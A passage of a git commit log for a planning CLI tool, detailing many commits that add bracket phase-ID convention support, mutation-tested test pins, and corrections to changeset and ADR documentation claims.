the read path across roadmap, validate, verify and state — followed by compact
bullets for the behavioral deltas, the opt-in caveat, and the upstream
consequences. Both merge-added disclosures are kept: the #3185 legacy-sentinel
Phase-0 delta with the reason the bracket counter keeps the narrower rule, and
the enumerator's convention-argument default flip with the four newly-scoped
read surfaces and the note that archival and milestone-completion paths are
unchanged. Two deltas from this review round are stated as their own bullets:
per-occurrence classification in `missing_phase_details`, and workstream-scoped
convention resolution including the workstream-rollup count change.

The internal test path is gone and the body is down to ~3,850 characters. The
bullets render as sub-bullets under the CHANGELOG entry and the `(#NNNN)`
suffix still lands on a trailing paragraph rather than mid-list.
`npm run lint:changeset` passes.

* test(#2761): use helpers.cleanup in the drift-guard temp-tree test

`local/no-raw-rmsync-in-tests` rejects a bare `fs.rmSync` in tests — the shared
helper carries the Windows-EBUSY retry budget. The temp-tree scan added with
M3's guard coverage test used the raw call.

* docs(#2761): correct the occurrenceKey comment on qualified-key normalization

The comment claimed `bracketQualifiedKey` is "fold- and padding-insensitive, so
`[gsd.2] 01` and `[GSD.02] 01` are one phase". The fold half is right; the
padding half is not. `BRACKET_MILESTONE_NUMERIC_SRC` is `(?:[1-9]\d{2,}|\d{2})`,
so `bracketQualifiedKey('GSD.2-01', 'bracket')` returns null and that input
takes the composite fallback instead.

No behavior change — the two key spaces use different separators and cannot
collide — but the claim was checkable and wrong. Restated: the owner case-folds,
and padding-tolerance is not a property it has or needs, because each accepted
milestone has exactly one canonical spelling and `[GSD.2]` is malformed rather
than an alternate spelling of `[GSD.02]`.

* ci(#2761): give the coverage-gate job the heap floor the shard jobs already have

The gate's report steps parse ~2.5GB of merged raw V8 dumps in one
process at the runner's implicit ~4GB ceiling, so pass/fail comes down
to GC timing (run 31338081337 OOM'd; next passes the same volume at
28s). Deterministic locally: crashes at --max-old-space-size=4096,
completes in 11s at 8192. PR shard data is within 0.15% of green next
runs — the load is pre-existing, only the ceiling was missing. #2952
set 6144 on the shard-collection step; the gate job was missed.

* Revert "ci(#2761): give the coverage-gate job the heap floor the shard jobs already have"

This reverts commit 03c74a97c911e9ddc53675aded9c9bbb89f14cd1.

* fix(#2761): thread the resolved convention into cmdStateValidate's phase-directory lookup

#3208 replaced cmdStateValidate's `startsWith` prefix test with the canonical
`phaseKeyFromDir(...) === selectedPhaseKey` comparison. That is the right
surface, and it is why the lookup now needs the resolved `phase_id_convention`,
which the rewrite does not pass.

`phaseKeyFromDir` deliberately refuses to read a bracket directory without an
explicit signal (ADR-2121: a bracket dir is string-indistinguishable from the
legacy letter-prefixed-decimal family), so un-threaded it returns the whole dir
name as the key — `GSD.02-05-real-work` -> `GSD.02-5-REAL-WORK` — while the
STATE side is the bare `05` that `parsePhaseFromProse` yields. Both sides of one
comparison derived under different conventions is #2562's defect class, and this
file's other three `phaseKeyFromDir` call sites already thread against it.

Observable: a bracket repo whose phase directory plainly exists reported
`valid: false` and "no phase directory matches phase 05", and the drift scan
(plan-count mismatch, verification status) never ran. The pre-#3208 `startsWith`
missed the same directory but skipped silently, so this is a visible-failure
regression on bracket repos, not a new miss.

Non-bracket conventions are byte-identical by construction: `extractPhaseToken`
branches only on `=== 'bracket'`, so null / 'milestone-prefixed' / unresolvable
compile the same path as the un-threaded call. The flat-legacy twin assertion
pins that.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* docs(#2761): note the cmdStateValidate convention threading in the changeset fragment

The fragment described the bracket read path as of the pre-merge branch. 504c64ff
added a shipped behaviour change — `state validate` now resolves bracket phase
directories — that the fragment did not mention, so the rendered changelog would
have under-described what ships.

Body text only; `type` and `pr` are untouched.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* test(#2761): invert the inherited-wart characterization — #3225 fixed it upstream

Required by the merge of next @ 86101ee6; test-only, no src delta.

This branch disclosed rather than fixed a pre-existing upstream wart: on a
LEGACY repo, `### Phase 999:` warned from `validate consistency` while
`validate health` suppressed it — the two verbs contradicting each other.
The case was pinned as a characterization test ("INHERITED WART, unchanged")
precisely so it would INVERT if upstream ever closed it, rather than rot
silently.

ae7dc529 (#3225) closed it, by adding the `isSentinelPhaseId` guard to this
very loop. So the assertion inverted on the merge — as designed. Flipped to
assert the FIXED behaviour rather than deleted: it is the negative-space
proof that this branch's `sentinelPhases` guard never had to grow a legacy
reading of its own, and it reds if a future conflict resolution keeps our
guard while dropping upstream's.

Added a scope control alongside it (a legacy NON-sentinel `### Phase 09:`
with no directory still warns), so deleting the loop outright cannot pass.

Union proven load-bearing in BOTH directions against the merged tree —
neither guard subsumes the other:
  - drop `isSentinelPhaseId(p)` (ours only) -> 1 red, exactly this case.
    Note upstream's own #3225 tests stay GREEN there: they cover the
    disk-side loops (sentinel dir on disk) and the gap-numbering filter,
    not the ROADMAP-side loop. This case is that site's only coverage,
    which is the second reason to keep it rather than delete it.
  - drop `sentinelPhases.has(p)` (upstream only) -> 4 red bracket suites
    (icebox-not-missing, health/consistency agreement, occurrence-aware
    suppression, checklist-index suppression).

tests/adr-612-bracket-read-tolerance.test.cjs 79 -> 80, all green.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* test(#2761): pin the three re-homed W006/W007 reads the merge left unfalsifiable

#3309/#3310 deleted the helpers this PR threaded (collectDiskPhases,
collectDiskPhaseEntries, collectArchivedPhaseDirNames,
forEachArchivedPhaseToken) and rebuilt their reads inside
src/planning-snapshot.cts + src/health-diagnostic-rules/*.cts. The convention
threading moved with them in the merge commit — but a mutation sweep over the
re-homed sites found three where reverting the convention argument changed real
CLI output and NOT ONE existing test went red. The pre-migration sites were
covered indirectly, through helpers that no longer exist, so the coverage did
not survive the relocation even though the behaviour did.

Each case is pinned at the CLI with its flat-legacy twin as the byte-identity
control, plus a non-vacuity control in the opposite direction:

  archivedPhaseTokens      revert -> "Phase 05 in ROADMAP.md but no directory on
  (planning-snapshot.cts)            disk" for a phase whose only directory is
                                     under .planning/milestones/v1.0-phases/
  roadmapPhaseCheckboxes   revert -> "Phase 09 in ROADMAP.md but no directory on
  (planning-snapshot.cts)            disk" for an unstarted `- [ ]` phase
  W007's extractPhaseToken revert -> "Phase GSD.02-77-orphan exists on disk"
  (roadmap-disk-consistency)         instead of "Phase 77 exists on disk"

Red/green: each single-line revert reds exactly its own case and nothing else;
every legacy control stays green in all three runs.

NOT pinned, and disclosed as droppable rather than given an unfalsifiable test:
buildValidPhaseSet's extractPhaseToken(dir, convention) in W002. That rule
unions disk tokens with roadmapDeclaredPhases and archivedPhaseTokens, and any
STATE.md reference a bracket disk token would rescue is already rescued by the
ROADMAP half — probed directly, the argument makes no observable difference. It
is threaded because it restores collectDiskPhases(planBase, convention)'s
derivation exactly, not because a test needs it.

Test-only; revertable independently of the merge commit.

* test(#2761): pin the two reads the #3165 extraction left unfalsifiable

DROPPABLE, offered as such. Test-only; the merge commit is correct without it.

#3428's extraction gave `collectAnalyzePhases` TWO call sites — the scoped
milestone window and the truncated-window recovery path. The merge threads
`convention` into both and swaps `detailKeys` with `phases` across the recovery.
Neither of those was falsifiable by the suite as it stood:

  - passing a NULL convention at the FALLBACK site, with the scoped site still
    threaded, is green across all 518 tests of the bracket, roadmap and
    milestone-window files. Every pre-existing bracket assertion reaches the
    enrichment through the scoped window, so none of them can observe the
    fallback's reading at all;
  - dropping `detailKeys = fallbackScan.detailKeys;` — the line this merge
    authored — is likewise green, because no fixture that reaches the recovery
    path carries a checklist bullet, so `missing_phase_details` is `null`
    either way.

That is the same hole class lap 3 closed in 9914359c: an argument whose revert
changes real CLI output with zero reds.

Pinned at the CLI on the shape that reaches the fallback on a bracket repo — a
MID-MIGRATION ROADMAP: bracketed ACTIVE milestone, its phase-detail sections
and checklist bullets sitting after an intervening CLOSED legacy milestone (so
the window closes over prose only), plus one legacy `### Phase N:` section of
its own. Six tests:

  - a NON-VACUITY control that removes the phase directories, so #3428's own
    precondition fails and the result is the empty one the recovery exists to
    replace — this is what proves the rest read the FALLBACK's output rather
    than the scoped scan's;
  - the directory assertion (`disk_status`/`plan_count`/`summary_count` for
    canonical `{CODE}.{MM}-{PP}-slug` dirs) + a flat-legacy twin asserting
    byte-equal shape, and that the twin is the right answer rather than a
    shared wrong one;
  - `missing_phase_details: null` for phases the recovery just found, and its
    companion direction — a bullet with no heading anywhere is STILL reported,
    so a fix that merely suppressed the report does not pass;
  - a non-bracket repo taking the same path unaffected.

Red/green, each mutation reverted afterwards:
  - fallback call site -> `null` convention: exactly 2 reds, both directory
    assertions in this block; 307 other tests green, including upstream's own
    #3428 tests in tests/milestone-window-single-owner.test.cjs.
  - `detailKeys` swap deleted: exactly 2 reds, both `missing_phase_details`
    assertions; 414 other tests green.
  - `matchPhaseDirs` 3rd argument dropped (the lap-2 site): 4 reds — the 2
    already on record plus this block's 2, which is the point: one seam, now
    reached by two paths.

DISCLOSED IN THE TEST BODY WITH MEASURED OUTPUT, not fixed: `hasPhaseEntries`
(src/roadmap-parser.cts) is convention-blind, so on a PURE-bracket ROADMAP the
window classifies COMPLETE and #3428's recovery is gated off entirely. That
document returns `{"scope":"complete","phase_count":0,"next_phase":null,
"phases":[]}` — the "genuinely empty milestone" answer, the indistinguishability
#3184 introduced `scope` to remove — where the flat-legacy twin returns
`{"scope":"truncated","phase_count":2,...}`. Widening it changes the value of an
upstream-owned output field on bracket repos, so it is a behaviour slice (the
PR-2.5/PR-4 convention-less-readers question), not a merge-round change. The
mid-migration shape pinned here is the reachable half.

* fix(#2761): mirror the bracket terminator in the milestone-scope write guard

parser's terminator vocabulary — "a level 1-3 heading that is not a Phase
heading and carries a milestone signal". On this branch that vocabulary is
convention-SELECTED: `computeBracketSectionEnd` adds `isBracketMilestoneBoundary`
as a terminator arm, and the ADR-canonical `## [GSD.09] Hidden` carries NO
vN.N token, NO ✅/📋/🚧/🔄 marker, and not the word "Milestone". Left
unmirrored, the guard accepted exactly the description it exists to reject.

NOT a defect on clean next — a bracket heading terminates nothing there. The
branch widens the terminator set, so the branch owns the mirror.

MEASURED at the CLI seam before the fix (bracket fixture, one milestone,
one phase):

  $ gsd-tools phase add $'Sneaky\n## [GSD.09] Hidden'   -> exit 0, written
  $ gsd-tools phase add 'Innocent follow up'            -> exit 0, written
  $ gsd-tools roadmap milestone-scope
    { "scope": "complete", "phases": ["01","1"], "phase_count": 2 }
  $ grep '^### Phase' .planning/ROADMAP.md
    ### Phase 1: Sneaky
    ### Phase 2: Innocent follow up      <- in the document, out of the window

After the fix the first add exits 1, ROADMAP.md is byte-unchanged and no
phase directory is created. The legacy twin (same text, no
`phase_id_convention`) still exits 0 — opt-in only, base behaviour preserved.

SHAPE
- `findMilestoneScopeHeadingLines(text, convention)` — REQUIRED, the same
  tripwire `scanMilestonePhaseIds` carries in the merge commit and for the
  sharper reason: a blind call here fails OPEN (the guard quietly ACCEPTS a
  window-narrowing description), so a future call site must fail to COMPILE.
  Census is one caller, which pays nothing for it. A non-bracket value takes
  the pre-existing path byte-identically. The bracket arm routes through
  `isBracketMilestoneBoundary`, the same single-owner phase-vs-milestone
  discriminator `computeBracketSectionEnd` consults; no second bracket-heading
  grammar is spelled here.
- `selectedBracketId` is deliberately `null`, so the same-milestone
  CONTINUATION exemption never fires and a value naming the ACTIVE milestone
  is flagged too. That is this predicate's third stated conservatism and
  rests on its own existing argument: which milestone is active is a property
  of the document at write time, not of the text being validated, and
  over-rejecting is one-directional.
- `assertDescriptionPreservesMilestoneScope` takes `cwd` and resolves through
  the branch's tolerant try/catch — this guard runs BEFORE `loadConfig` and
  before the ROADMAP existence check, so an unresolvable convention must
  degrade to the legacy vocabulary, never turn a rejection into a crash.
- The error's marker list gains the bracket form only when the project is on
  the bracket convention.

RED/GREEN
- Revert the bracket arm -> 2 reds (phase add; insert + add-batch), the
  non-bracket control and both no-false-positive cases stay green.
- Revert the probe threading in the merge commit -> 1 red (the probe case).
- 6 new cases in the #3262 file, each with a non-bracket or
  no-false-positive control: fenced bracket milestone heading and bracket
  PHASE heading are both non-violations.

Droppable: revert this commit and the merge stands on its own; the branch
then ships the gap as a disclosure instead of a fix.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* docs(changeset): narrow the enumerator claim to the directory set — per-entry rendering in progress/stats/init-manager is display-slice scope

Round-7 review confirmed 3 of the 4 surfaces named by the closing claim
parse each directory or heading with legacy-only patterns that live in
files this PR does not touch (commands.cts:1766, commands.cts:2116,
init.cts:2241). The claim now states exactly what this slice delivers:
the scoped directory set. Their per-entry conversion is display work,
deferred to the epic's display PR with the statusline/progress-card
gates it belongs beside.

* fix(#2761): de-accident the unmatched-milestone bracket fixture, re-pin to #3480's withhold contract

tests/adr-612-bracket-phase-counting.test.cjs:515 ("a milestone that
does NOT match STATE is not scoped in") asserted total_phases === 0.
Since today's merge brought in 70b5c1a1 (#3354/#3480, already in
`next`), buildStateFrontmatter withholds total_phases (omits the key,
read back as null) for a milestone that is genuinely sectioned but
matches no ROADMAP heading, instead of substituting a computed number
— the fixture's `state json` read now returns null, failing the
strictEqual(0) assertion.

The original single-section fixture's 0 only ever survived by
accident: hasMilestoneSectioning requires >=2 milestone-vocabulary
headings to call a ROADMAP sectioned, and its isPhaseHeading helper
recognizes only the legacy `Phase N:` text form — so the bracket
phase heading `### [GSD.03] 09: Not this milestone` (title containing
the word "milestone") miscounted as a second milestone heading,
tipping hasMilestoneSectioning true and routing to the disk-count
branch. With that miscount removed, the same one-section fixture
reads 1 (the non-matching milestone's phase count leaking into v2.0's
total) — proving the pinned 0 was never validating the scoping this
test claims to exercise.

Replaced the fixture with two genuine milestone sections (GSD.03,
GSD.04), neither matching STATE's v2.0, with phase titles carrying no
incidental vocabulary — the real #3354 shape. Re-pinned the assertion
to null, matching upstream's own tested contract (tests/state-
document.test.cjs, "#3354 with nothing stored, the key is omitted
rather than written from the dir count").

Verified: file green 3/3 runs (104/104), full state-suite regression
771/771 green. The isPhaseHeading gap that made the old fixture
accidental is a real, pre-existing, upstream-owned limitation
(hasMilestoneSectioning only guards >=2-section conflation, not a
single non-matching section leaking through) — not introduced by

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* chore(#2761): exempt two self-authored-fixture regexes from #3441's unbounded-quantifier rule

Both sites parse the STATE.md the test itself just wrote to its own
tmpdir — fixed-size fixture output, not adversarial or document-scale
input. Exempted with the justification-comment pattern the tree's own
tests use for this exact case (settings-integrations, copilot-install,
research-agent-profiles). The sites predate the rule; #3441 landed on
next this morning and this branch picked it up in the catch-up merge.

* fix(#2761): fix forward two next-movement test regressions from the round-11 rebase

origin/next's #3573 newly threads STATE's stored `milestone:` value into
`state json`'s buildStateFrontmatter call (previously always `undefined` on
that read surface). Two pre-existing PR-2 fixtures reach code paths that
call never exercised before that merge:

- RED (repro2 case C): a version-less, all-bracket-id ROADMAP now hits
  getMilestonePhaseFilter's pre-existing (unaffected by this branch) row-5
  `versionResolved && !headingFound => SCOPE.UNSCOPED` rule, which withholds
  `progress.percent` even though the scoped total_phases/completed_phases
  are still correct. That row-5 rule is load-bearing for six other
  version-less-document pins in this same file; narrowing it broke seven of
  them in testing, so production code is untouched here. Reassert the
  test's real claim (scoping, via total_phases/completed_phases) and
  disclose the now-withheld percent instead of silently dropping it.

- PIN (repro12 LEGACY control): a fenced-example-vs-real version heading
  fixture. #3573 routes this read through sliceMilestoneWindow (fence-aware)
  instead of the legacy anyMilestonePattern raw scan (fence-blind) this pin
  was disclosing as out of scope, so the fixture no longer exercises the
  blind path — total_phases moves from the whole-doc 4 to the correctly
  scoped 2. Re-pinned with an upstream-attributed comment, matching this
  file's existing house style for prior origin/next movements (see the
  sibling "PIN (G3 LEGACY control)" comment).

Both are test-only fix-forwards: no production code changed. The remaining
12 failures in this file at 27363e9d0 (dropped seam commits' VERIFICATION.md
naming + fixture updates) are pre-existing and deferred to the stacked
follow-up per the task's own scope.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* fix(#2761): thread phaseIdConvention explicitly at the two write-adjacent enumerator call sites (round-11 BLOCKER)

listMilestonePhaseDirs' phaseIdConvention param lost its `= null` default
(phase-locator.cts), so an omitted convention now means "resolve from
config" instead of "explicitly not bracket" — a deliberate flip, but
milestone.cts and state.cts were not in the PR-2 diff and both call the
enumerator without threading it:

- milestone.cts cmdMilestoneComplete (the single #3597 shared derivation
  feeding the stats loop, --dry-run preview, and the real archive/rename
  pass) now resolves phase_id_convention once and threads it explicitly,
  so a bracket project's `milestone complete` archives its real
  bracket-declared phase directories instead of silently inheriting
  whatever the enumerator's lazy default resolves to.
- state.cts cmdStateUpdateProgress's own enumerator call threads the same
  resolved convention. Empirically this does not change the #3217 withhold
  gate (scope is assigned before headingConvention resolves in
  getMilestonePhaseFilter, so it's convention-independent either way) or
  the reported percent (already correctly threaded via
  computeUpdateProgressPreview -> buildStateFrontmatter); it closes a
  second, silently-resolved answer to the same question this file's own
  ONCE-and-THREAD rule (~:2300) already states as policy.
- state.cts's other listMilestonePhaseDirs call site (the state-sync
  scope-only read, ~:4791) is left unthreaded on purpose, with an inline
  note explaining why: only `.scope` is consumed, and `.scope` is set
  before convention resolution in getMilestonePhaseFilter, so it cannot
  disagree with a threaded convention.

Both enumerated sets are pinned by new tests (round-11 BLOCKER block in
tests/adr-612-bracket-phase-counting.test.cjs), including a mutation-style
regression check on the milestone.cts fix (forcing the un-threaded default
back on makes the pinned test fail, catching a regression to the
pass-all-degrade legacy reading).

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* fix(#2761): correct the changeset's false archival claim and amend ADR-612 for the round-11 M2(2) split scope

The changeset (.changeset/2761-bracket-read-tolerance.md) asserted "The
archival and milestone-completion paths are unchanged" — false: both
paths reach the widened enumerator, and this PR now threads their
convention explicitly (previous commit). Replaced the closing paragraph
with an accurate description of what changes for a bracket project at
those two call sites, and notes both enumerated sets are pinned by tests.

ADR-612 (docs/adr/612-bracket-phase-id-convention.md) amended per M2(2):
the 2026-08-03 PR-2/PR-4 boundary proposal is added in-body (PROPOSED,
not stamped — mechanics per docs/contributor-standards.md:143 reserve ADR
ratification to maintainers), rescoped to what actually ships in PR-2
(#2761) now that the round-11 M1 split moved the completion-seam
threading (isPhaseArtifact/scopeToPhase, phase-id.cts:964-1090) out into
a separate, stacked follow-up PR referenced generically via epic #612:

- state.cts read-tolerance (both total_phases derivations, the #1514
  retirement filter) moves into PR-2's row, alongside milestone.cts,
  reflecting the round-11 fix above.
- the write-observability point is restated in terms of what actually
  ships: explicit threading at two named call sites, pinned by tests,
  rather than silent inheritance.
- the completion-seam threading is named and explicitly excluded from
  PR-2's scope, with a new ratify item (5) and a Negative consequence
  bullet covering the sequencing cost.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* fix(#2761): repair round-11 response gaps — disk-side sentinel bug, test-fixture bug, scanMilestonePhaseIds caller drift

Four independently-verified gaps in the round-11 repair response:

1. isSentinelPhaseId (src/phase-id.cts) treated a bare, untagged phase
   directory under phase_id_convention: "bracket" (`0-bootstrap`, no
   `{CODE}.{MM}-` prefix) as sentinel milestone 0 by falling through to the
   legacy leading-int rule when the bracket-tag match failed. This silently
   dropped a real, on-disk, milestone-declared phase directory from
   `listMilestonePhaseDirs` (phase-locator.cts:424, the only unguarded call
   site) and undercounted completed_phases/percent. Mirrors the carve-out
   already present on both heading-side counters (state.cts's
   countRoadmapPhaseHeadings guards its bare-0 exclusion with `bracketId &&`;
   roadmap-parser.cts's scanMilestonePhaseIds composes the bare-token rule as
   999-only) — under bracket convention, milestone 0 is expressed only via an
   explicit bracket tag, so an untagged leading 0 is a real phase token.

2. tests/adr-612-bracket-phase-counting.test.cjs's writeProject fixture
   hardcoded `01-VERIFICATION.md` for every "complete" phase dir regardless
   of the dir's real phase token. Under legacy convention this file already
   correctly failed #3511's strict isPhaseArtifact match for any dir other
   than phase 01 (the fixture never modeled what it claimed to); under
   bracket convention the pre-existing ambiguity fail-safe admitted it
   regardless. The two readings' disagreement was mistaken for a missing
   completion-seam threading (isPhaseArtifact/scopeToPhase convention
   awareness, correctly split out to the stacked #3644 per round-11's M1).
   Replaced the hardcoded name with verificationNameFor(dir), deriving the
   real per-phase filename from the production normalizePhaseName the same
   way cmdScaffold does — the 7 failing "flat-legacy-twin" / CHARACTERIZATION
   assertions pass on #2867's own code with no seam threading required, and
   the genuine seam-dependent cross-phase-stray-exclusion test the fixture
   fix would otherwise have hidden lives on the stacked branch instead.

3. tests/roadmap-parser.test.cjs's two #3577 tests still called
   scanMilestonePhaseIds with the old single-Set return shape; this PR
   changed it to `{ ids, qualifiedIds }` for every other caller but missed
   these two, which don't touch #2761/bracket code at all. TypeErrors at
   runtime, not silently-wrong assertions. Updated both call sites.

4. .changeset/2761-bracket-read-tolerance.md gains a paragraph disclosing
   fix 1 above, so the changeset stays accurate to what actually ships (the
   round-11 BLOCKER was exactly this changeset going stale once).

Verified: tests/adr-612-bracket-phase-counting.test.cjs +
tests/continuation-grammar-parity.test.cjs + tests/roadmap-parser.test.cjs =
354/354. adr-612-{coherence,grammar,heading-selection,read-tolerance,
selection.property}.test.cjs + collision-characterization = 287/287
(CONFIRMED-CLEAN set, unaffected). Full unfiltered suite run separately.

PR #3643 (round-11's M1 split, opened draft per that round's explicit
requirement) was auto-closed by this repo's own draft-PR policy 11 seconds
after opening — draft PRs are unconditionally closed here. Reopened as
non-draft #3644 (same branch, same commits, DO NOT MERGE / stacked-on-#2867
marker in the body, enhancement template) since the repo's own bot confirms
non-draft contributor PRs are tolerated even off-template.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* fix(#2761): narrow the state-update-progress pin claim to what mutation testing actually proved, add the test that covers the rest

Round-11 BLOCKER response gap (verified, not a guess): the changeset and
ADR-612 amendment point 2 both claimed the round-11 tests pin
`cmdStateUpdateProgress` so "a future change to the enumerator's default
cannot silently move ... what state update-progress reports without failing
a test." Mutation testing disproves this. Reverting BOTH the state.cts
explicit `phaseIdConvention` thread AND simulating the phase-locator.cts
pre-#612 hardcoded-null default (`phaseIdConvention: null` at that one call
site) leaves the existing PIN test ("writes a real percent for a
bracket-scoped milestone") green, because that percent comes from
`computeUpdateProgressPreview` -> `buildStateFrontmatter`, a separately and
already-correctly-threaded derivation the state.cts inline comment at ~:965
already candidly documents.

What the reverted thread DOES change, empirically, is `phaseDirs`/`totalPlans`
— the enumerated `.value` this call site feeds into the #3233 zero-plans
no-op gate a few lines below. That is the one place a regression at this call
site is observable in the command's output. Added a test that pins exactly
that: a bracket milestone whose declared phases carry no plans on disk,
alongside a decoy directory that plainly does not belong to the milestone
(no bracket tag, no phase token) but does have a plan. Correctly scoped, the
decoy is excluded and the #3233 no-op fires (`updated: false`). Degraded to
the pass-all legacy reading, the decoy is swept in, `totalPlans` flips
nonzero, and the no-op never fires (`updated: true`).

Mutation-tested against both scenarios:
- Reverting ONLY the state.cts explicit thread (falls back to `undefined`,
  which `getMilestonePhaseFilter` resolves via the identical
  `resolvePhaseIdConvention(cwd, undefined)` call the explicit thread also
  makes): new test stays green — confirms the single-hunk thread really is
  pure single-derivation hygiene, exactly as the existing inline comment
  claims, for this test too.
- Forcing `phaseIdConvention: null` at that call site (the combined-revert
  scenario the round-11 mutation testing actually exercised): new test FAILS
  (`updated: true, percent: 0` instead of the expected `updated: false`).
  Restoring the real code makes it pass again.

Narrowed the changeset and ADR-612 point 2 prose to match: `cmdMilestoneComplete`'s
enumerated set is pinned against a pass-all-degrade regression (genuine,
already verified in round 11); `cmdStateUpdateProgress`'s own call site is now
pinned against the #3233 zero-plans no-op specifically, not against the
reported percent, which the prose no longer claims. Added a one-line pointer
to the new test in the state.cts inline comment. No production behavior
changes — test and documentation only.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* docs(#2761): reconcile ADR PR-2 module map

* fix(#2761): restore #3639's dir-aware W007 sentinel exclusion lost in the rebase replay

The rebase replayed this file's pre-#3639 patch over next, reverting the
isSentinelPhaseId(token) -> isSentinelPhaseDir(dirName) fix: the extracted
token is milestone-stripped, so a bracket sentinel (GSD.999-07-icebox,
GSD.00-01-backlog) was invisible to the id predicate and false-fired W007.
Restores upstream's call and comment verbatim; the branch's convention-aware
token remains for the diagnostic message only.

Caught by next's own #3639 regression tests (CI shard 2). Local: the file's
18/18, health-diagnostic-rules 165/165, full npm test exit 0.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01MeAsZNfhiUQioFPA4ygEGS

* docs(#2761): ratify scope and correct surface claims

* test(#2761): strengthen legacy selection and drift claims

* docs(#2761): correct the enumerator claim, scope list, and ratification receipt

Three documentation corrections, none touching production code.

The changeset claimed the shared phase-directory enumerator "now defaults its
convention argument to 'not yet resolved' rather than 'resolved, and not
bracket'". That is false: `phase-locator.cts:375` still destructures
`phaseIdConvention = null`, and the lazy resolve-from-config fires only on
`undefined` (`roadmap-parser.cts:941`, `:1928` — whose own comment records that
"explicit null still means 'resolved and non-bracket'"). Measured: only 4 of 17
`listMilestonePhaseDirs` call sites thread a resolved convention (`milestone
complete` and `state`'s three). The changeset went on to name `progress`,
`stats`, `phase list` and the init manager view as now receiving a correctly
scoped set — those are precisely callers that omit it. Replaced with what the
code does, and the deferral stated plainly.

The ADR's PR-2 row omitted `scripts/lint-phase-id-drift.cjs` (+141/-14) and
`scripts/lint-phase-enumeration-drift.cjs`, both changed by this PR. An
under-claim rather than an over-claim, but the row is the epic's
scope-of-record.

Ratify item 5 asserted maintainer ratification while citing only the review that
raised the question. It now cites the review that granted it (#2867 review
`5012940978`, 2026-08-24) and quotes its terms, so the claim carries its receipt.

Found by an adversarial review pass over the round-12 diff. (#2761)

* fix(#2761): drop the no-op --json that strict argv now rejects

Surfaced by the rebase onto next, not by a change in this PR's subject.

#3884 ("failure is a value — strict argv", e20744eac) made an unrecognized
flag a hard error: `state validate --json` now exits 1 with
`unknown flag "--json"; accepted: --strict` on stderr and EMPTY stdout,
where the token was previously accepted and ignored. `state validate` never
had a `--json` flag — JSON is its only output shape — so the argument was a
silent no-op from the start.

The helper parsed that empty stdout, so all five subtests in the
"state validate resolves bracket phase DIRECTORIES" suite failed identically
with `SyntaxError: Unexpected end of JSON input` at the JSON.parse, masking
what they actually assert.

Dropping the token restores the same envelope the helper already parsed. No
assertion changes. Verified against the fixture the suite builds: exit 0, and
the output carries the S005 plan-count warning the drift assertions require
with no S004 phase-directory warning — i.e. the bracket directory resolves,
which is the behaviour these tests exist to pin. 94/94 in the file.

* fix(#2761): exempt the phase-counting suite from the docs-guard lane

Surfaced by the rebase onto next. #3753 (107eb8c1d) added
lint-docs-guard-registration, which requires every test file that reads a
docs/ path to be either registered in the docs-guard lane or carry an
explicit marker. It flags adr-612-bracket-phase-counting.test.cjs, which
reads no docs/ path at all.

The file's only docs/ occurrence is the ADR-612 Decision 1 citation in a line
comment; every read call it makes targets a tmpdir .planning fixture. It trips
Detector 3, whose DOCS_TEMPLATE_LITERAL_RE sees an odd prose backtick in the
comment block above that citation as opening a template literal and reads the
span between them — citation included — as a docs/ path expression. That
detector documents this trade in its own header: it favours recall, and says a
false positive costs one docs-guard-exempt marker with a reason. The baseline
records the same class ("comment-only mentions") for 46 of its entries.

Registration was the wrong side of the trade here: it would run this suite in
the docs-guard lane on docs/ changes whose content it never reads.

Three pieces, matching what the gate requires and what its 54 existing entries
already do:
  - the marker in the file's header window, written without backticks so it
    cannot itself disturb the parity tracking findExemption does;
  - the basename in DOCS_GUARD_EXEMPT_BASELINE, since the ratchet fails a new
    marker until the baseline is deliberately updated — the reviewable diff is
    the point;
  - the FIX 3 per-file fingerprint, derived with the lint's own
    extractDocsPathReferences rather than retyped, so the exemption fails loudly
    if the set of docs/ paths this file mentions ever changes.

Gates: lint-docs-guard-registration 0 violations, ci-docs-guard-registry 51/51.

* docs(#2761): correct the bare-0 comment and state what opting into bracket costs

Round-13 review items Minor 2 and Minor 3, both still live on the previous head.

Minor 2 — src/phase-id.cts. The comment block claimed "Bare `0` is admitted
alongside it because a 0.x sentinel is a legitimate identity that predates
padding", which contradicted both the shipped constant and its own next
paragraph. BRACKET_CANONICAL_NUMERIC_SOURCE is `(?:[1-9]\d{2,}|\d{2})`;
measured against it, `0` is rejected while `00`, `05`, `99`, `100` and `999`
are admitted. The paragraph four lines below already recorded the removal
("the earlier `(?:\d{2,}|0)` ... admitted ... a bare `0` that pad2 never
produces"), so the block asserted and denied the same fact. The stale sentence
is replaced with what ships: `00` is the backlog sentinel's canonical padded
identity, `\d{2}` already covers it, and nothing needs the unpadded spelling.
No behaviour change — the constant is untouched.

Minor 3 — docs/CONFIGURATION.md. The phase_id_convention row described the
read-path widening but never said what a repo GIVES UP by opting in. Added:
on a bracket repo a heading whose bracket is followed directly by a digit is
read as a phase heading, so `### [RFC.2119] 5:`, `### [v1.0] 2024:` and
`### [ADR.612] 3:` — legal prose headings under any other convention — are
claimed as phases and move phase_count, total_phases and W006. Those three
shapes are the ones phase-id.cts's own selector comment names as the reason
the widened read is selected at construction time from this value rather than
applied everywhere; the row now carries that trade instead of only its
upside.

Gates: tsc --noEmit exit 0, npm run lint:ci exit 0, npm run test:unit
33890/33891 with the single failure being emitted-attribution's base drift
against a next that moved after the rebase (133/133 against the rebase base;
this push re-bases onto the current tip, which resolves it).

---------

Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
Co-authored-by: Tom Boucher <trekkie@nomorestars.com>
2026-08-31 14:03:48 -04:00
Tom Boucher
80de48c319 enhance(#3914): every phase records a truthful guard ledger (#4018)
* fix(#3914): retire n/no-process-exit where its successor governs

Epic #3889 criterion 5 — no phase closes with a guard added and its
predecessor left standing — is violated in the tree by the epic that wrote it.

local/require-registered-exit was registered on gsd-core/bin/**/*.cjs and
